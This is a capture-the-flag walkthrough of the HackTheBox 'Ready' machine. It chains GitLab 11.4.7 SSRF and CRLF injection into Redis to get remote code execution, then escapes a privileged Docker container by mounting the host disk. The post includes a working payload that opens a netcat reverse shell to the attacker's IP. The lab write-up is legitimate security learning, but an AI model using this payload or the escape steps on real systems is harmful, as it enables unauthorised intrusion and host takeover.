Ready — HackTheBox

Source

This is a practical Walkthrough of “Ready” machine from HackTheBox. Credit goes to bertolis for making this machine available to us and base points are 30 for this machine.

Passwords, hashes and Flags will be redacted to encourage you to solve those challenges on your own.

Synopsis

“Ready” is an medium difficulty Linux machine that features GitLab on docker environment. The version of running GitLab which has a vulnerability is 11.4.7 Community Edition. There’s two distinct vulnerability exists on this version of GitLab SSRF and CRLF. Combining both vulnerability we can gain initial access on target machine. Then we need to escape docker to get the root flag. You can read more on both vulnerabilities and how it works here.

Skills Required

  • Web Enumeration
  • Linux Enumeration
  • Docker Enumeration

Skills Learned

  • Bypassing SSRF Protection
  • CRLF Injection
  • Escape Docker Privileged Container

Enumeration

nmap

Nmap reveals that SSH (22) and HTTP (5080) are open on target machine. Target is running Ubuntu Linux Server, from nmap script it shows information about that its redirecting to to sign_in page and page title is GITLAB. BTS, I ran gobuster, checked robots.txt file, basically did every normal enumeration to find extra details, unfortunately there’s nothing which interests us.

Visiting the homepage, it takes us to sign-in page, let’s register and login.

register

Once you login, check help section for version information of this gitlab application.

gitlab version

The running version on target machine is 11.4.7 it also displays “update asap” and current updated version is 13.9. Version 11.4.7 released back in November 2018, its a 2+ year old version and upon little bit googling you can find vulnerabilities related to that version and also some POCs.

Vulnerability Details

So, basically there are two different vulnerability exists in the gitlab version 11.4.7. SSRF CVE-2018–19571 and CRLF Injection CVE-2018–19585. If you check the GitLab commits of 11.4.8 you’d see couple security fix for previous version.

commits

The commits also tells how the fix has enabled and it gives us the idea of bypassing the previous version. LiveOverFlow explained in his blog how to exploit these vulnerabilities by chaining SSRF and CRLF and get the flag. But for this HTB machine we are interested in reverse shell, by changing small part of the payload we can get the reverse shell.

Initial Access

As I said earlier there are POCs already available on exploit-db and GitHub and we can get reverse shell without using them too. I will cover both approach.

Manual Exploitation

Sign In and follow the steps

create project

We are going to create a new project, then we import project by selecting “repo by url”. Though this we can fetch a repository from another IP/url.

If you have read LiveOverFlow’s blog then you’d already know that we have a payload.

setup SSRF Bypass

http://[0:0:0:0:0:ffff:127.0.0.1]:1234/test/ssrf.git

In GIT url, we are inputting the SSRF bypass string with project name, project slug and create the project. Make sure to capture this request in BurpSuite. Send this request to repeater, from here we change our string and input payload. By this we can bypass SSRF protection and inject CRLF to get the RCE.

Note: start a netcat listener on any port.

input payload

Now we have to replace the “import_url” with our payload. Change IP and port accordingly. Below is the payload you can use to replace. Make sure to not remove any space or white space.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test
multi

sadd resque:gitlab:queues system_hook_push

lpush resque:gitlab:queue:system_hook_push “{\”class\”:\”GitlabShellWorker\”,\”args\”:[\”class_eval\”,\”open(\’|nc -e /bin/bash 10.10.14.24 4444\’).read\”],\”retry\”:3,\”queue\”:\”system_hook_push\”,\”jid\”:\”ad52abc5641173e217eb2e52\”,\”created_at\”:1513714403.8122594,\”enqueued_at\”:1513714403.8129568}”

exec

exec

exec

reverse connection

If everything's goes well, then you’d get the reverse connection on netcat listener.

This was manual exploitation. After couple of tries I got it right.

Automated Exploitation

If you don’t have time to try the manual stuff, then you can try this automated way using available exploit code. You need to register then you can try this.

POC

Clone the repository on your machine and input required details.

exploit
  • -u username
  • -p password
  • -g target IP address
  • -l attacker IP address
  • -P attacker port address

Note: before you Exploit, make sure to set up a netcat listener to get reverse connection.

If everything’s goes well, then you’d get a reverse connection.

reverse connection

Aight, *hacker voice* we are in. Upgrade the shell and get the user flag.

user flag

Privilege Escalation

Now we need to escalate our privileges to root. Let’s run LinPeas on target to find any misconfigurations or outdated applications.

linpeas

We are in docker container.

Configuration files

If we check docker file, then we see that we are in a privileged container. If somehow we gain access to root shell of docker then we can escape this container to access root flag or even shell access to root user of Ubuntu (not docker).

docker composer

This docker container which we are in right now is being executed (run) with
—privileged flag, so by default we have root privilege access to host machine, but the requirement is to be root of docker container then only we can able to access the host machine.

linpeas

Our linpeas found a password, it works with root user of container.

Container root

We got root access of container, now we need to escape this to access the host filesystem.

To check if you have access to host partition or not then you can run “fdisk -l” command.

host filesystem

If you see the host filesystem then you can access it. Now we need to mount this Linux filesystem (/dev/sda2) to access. We will create a directory and mount it inside that.

mount filesystem

Now we can access the host filesystem from that location.

host filesystem

Let’s read the root flag.

root flag

We got all the flags required to complete this machine.

Thank you for reading this blog. While attempting this challenge I learned so many things. This was unique target with unique vulnerability.

Reference

https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
https://gitlab.com/gitlab-org/gitlab-foss/-/commit/ecbdef090277848d409ed7f97f69f53bbac7a92c
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout#privileged-flag